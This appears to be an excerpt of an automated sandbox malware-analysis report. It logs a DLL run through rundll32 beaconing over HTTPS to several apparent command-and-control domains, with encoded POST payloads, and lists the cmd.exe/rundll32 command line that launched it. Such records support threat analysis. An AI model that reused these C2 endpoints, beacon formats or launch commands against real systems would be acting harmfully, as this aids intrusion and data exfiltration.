2024-05-10 22:05:00 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:00 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49765	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:03 UTC	281	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:03 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:03 UTC	206	IN	HTTP/1.1 404 Not Found Date: Fri, 10 May 2024 22:05:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains
2024-05-10 22:05:03 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49766	91.194.11.183	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:09 UTC	248	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: boriz400.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:09 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:10 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:09 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49767	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:11 UTC	279	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:11 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:12 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:05:11 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49768	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:13 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:13 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:13 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:13 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49769	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:14 UTC	279	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:14 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:14 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:05:14 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49770	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:15 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:15 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:15 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:15 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49771	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:21 UTC	281	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:21 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:21 UTC	206	IN	HTTP/1.1 404 Not Found Date: Fri, 10 May 2024 22:05:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains
2024-05-10 22:05:21 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49772	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:27 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:27 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:27 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:27 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49773	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:33 UTC	245	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:33 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:33 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:33 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49774	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:34 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:34 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:35 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:35 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49775	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:39 UTC	245	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:39 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:40 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:40 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49776	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:41 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:41 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:42 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:42 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49777	104.21.16.155	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:45 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: workspacin.cloud Content-Length: 248 Cache-Control: no-cache
2024-05-10 22:05:45 UTC	248	OUT	Data Raw: 49 49 76 49 58 4a 74 65 6d 72 58 30 6e 71 61 31 4b 66 66 4a 68 53 52 75 64 6c 34 54 48 5a 41 53 6b 61 64 6e 73 2f 33 30 78 46 6a 62 6c 71 62 46 39 46 63 32 53 32 6c 48 67 44 52 50 41 6c 6c 74 55 4c 39 52 55 6d 52 41 65 30 49 44 48 4d 46 39 4c 30 39 70 6c 66 47 78 6e 4d 45 58 32 69 4f 6a 38 72 78 57 64 59 6f 43 42 4b 34 44 44 69 79 6b 59 4c 32 73 50 4a 48 55 37 7a 6d 66 4d 4e 4a 4f 54 72 6b 58 62 4c 4e 64 67 73 61 56 50 61 79 66 71 52 70 30 69 46 39 4a 6e 6c 4e 69 79 65 37 36 44 4c 79 47 56 66 68 70 35 57 6b 49 30 56 57 51 41 74 67 5a 64 32 41 59 32 74 59 77 52 2b 42 74 6e 61 4c 65 6a 42 37 76 30 31 6e 41 41 2b 39 33 49 4f 6e 53 77 71 56 4d 6e 2b 78 52 4b 64 6d 41 66 69 6b 31 70 4d 36 41 66 68 63 73 4f 58 2b 42 64 57 30 65 4d 51 66 71 Data Ascii: IIvIXJtemrX0nqa1KffJhSRudl4THZASkadns/30xFjblqbF9Fc2S2lHgDRPAlltUL9RUmRAe0IDHMF9L09plfGxnMEX2iOj8rxWdYoCBK4DDiykYL2sPJHU7zmfMNJOTrkXbLNdgsaVPayfqRp0iF9JnlNiye76DLyGVfhp5WkI0VWQAtgZd2AY2tYwR+BtnaLejB7v01nAA+93IOnSwqVMn+xRKdmAfik1pM6AfhcsOX+BdW0eMQfq
2024-05-10 22:05:53 UTC	570	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:05:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LTiv4vVu1rumrKrAIXyBD8VGMPnhRvnHiuPBcMB4eDTwus2sF72HzgyQHeSyEMg87Zk0GJnOGApD7WRxGEtKkCzAKRtRg%2Ftf7fYbpJ303MrP9ARPvn7deUio6qJ%2Fabl9QCWA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 881d3b84c8ab8c3b-EWR alt-svc: h3=":443"; ma=86400
2024-05-10 22:05:53 UTC	26	IN	Data Raw: 31 34 0d 0a 41 4b 76 77 66 36 35 31 72 50 54 31 67 61 37 42 55 77 3d 3d 0d 0a Data Ascii: 14AKvwf651rPT1ga7BUw==
2024-05-10 22:05:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49778	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:45 UTC	245	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:05:45 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:05:46 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:05:46 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49782	104.21.16.155	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:54 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: workspacin.cloud Content-Length: 180 Cache-Control: no-cache
2024-05-10 22:05:54 UTC	180	OUT	Data Raw: 49 49 76 49 58 4a 74 65 6d 72 58 31 6e 71 61 31 4b 66 66 4a 68 53 52 75 64 6c 34 54 48 5a 41 53 6b 61 64 6e 73 2f 33 30 78 46 6a 62 6c 71 62 46 39 46 63 32 53 32 6c 48 67 44 52 50 41 6c 6c 74 55 4c 39 52 55 6d 52 41 65 30 49 44 48 4d 46 39 4c 30 39 70 6c 66 47 78 6e 4d 45 58 32 69 4f 6a 38 72 78 57 64 59 6f 43 42 4b 34 44 44 69 79 6b 59 4c 32 73 50 4a 48 55 37 7a 6d 66 4d 4e 4a 4f 54 72 6b 58 62 4c 4e 64 67 73 61 56 50 61 79 66 71 52 70 30 69 46 39 4a 6e 6c 4e 69 79 65 37 36 44 4c 79 47 56 66 68 70 35 57 6b 49 30 56 57 51 41 74 67 3d Data Ascii: IIvIXJtemrX1nqa1KffJhSRudl4THZASkadns/30xFjblqbF9Fc2S2lHgDRPAlltUL9RUmRAe0IDHMF9L09plfGxnMEX2iOj8rxWdYoCBK4DDiykYL2sPJHU7zmfMNJOTrkXbLNdgsaVPayfqRp0iF9JnlNiye76DLyGVfhp5WkI0VWQAtg=
2024-05-10 22:06:11 UTC	574	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:06:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D9bY1KwWUy0LTwNia%2F0eOSRBpY1hleYMm6esKPxUNDPeDXRdIEu5km4Bj5lacbpsOKrp8rjIXk%2FpRq4ha4Ew7ouYb9TrhFm944mDP4sysin88bz%2Fc1AvX092U9i4G%2FB4052D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 881d3bc26817c402-EWR alt-svc: h3=":443"; ma=86400
2024-05-10 22:06:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:03:58
Start date:	11/05/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\upfilles.dll.dll"
Imagebase:	0x7ff61d400000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:03:59
Start date:	11/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:03:59
Start date:	11/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1
Imagebase:	0x7ff70e6c0000
File size:	289'792 bytes
